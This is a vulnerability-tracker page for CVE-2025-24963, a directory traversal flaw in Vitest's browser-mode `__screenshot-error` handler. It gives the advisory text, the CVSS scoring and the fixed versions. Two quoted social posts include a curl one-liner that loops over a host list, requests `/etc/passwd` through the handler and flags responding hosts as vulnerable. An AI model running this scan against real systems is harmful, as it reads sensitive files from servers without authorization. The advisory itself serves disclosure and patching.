AI description
CVE-2025-24963 is a directory traversal vulnerability found in the Vitest JavaScript testing framework. The vulnerability exists in the `__screenshot-error` handler within the browser mode HTTP server. This flaw allows access to arbitrary files on the server due to improper pathname restrictions. Vitest is a Vite-powered testing framework. Exploitation of CVE-2025-24963 could permit unauthorized access to sensitive files on the affected server. Users of Vitest are encouraged to review available information and consider necessary actions.
- Description
- Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host: true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host: true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.
- Source
- security-advisories@github.com
- NVD status
- Received
CVSS 3.1
- Type
- Secondary
- Base score
- 5.9
- Impact score
- 3.6
- Exploitability score
- 2.2
- Vector string
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
- Severity
- MEDIUM
- security-advisories@github.com
- CWE-22
- Hype score
- Not currently trending
🚨 CVE-2025-24963 - Vitest Browser Mode Local File Read 🚨 💥One Liner Exploit: cat file.txt | while read host; do curl -skL "http://$host/__screenshot-error?file=/etc/passwd" | grep -E "root:.*:/bin/" && echo "$host is VULN"; done
@dephlow98
16 Feb 2025
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🚨 CVE-2025-24963 - Vitest Browser Mode Local File Read 🚨 💥One Liner Exploit: cat file.txt | while read host; do curl -skL "http://$host/__screenshot-error?file=/etc/passwd" | grep -E "root:.*:/bin/" && echo "$host is VULN"; done https://t.co/gbP3JUlnz3
@hackergautam
16 Feb 2025
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CVE-2025-24963 Vitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially … https://t.co/iEDE5UCdto
@CVEnew
4 Feb 2025
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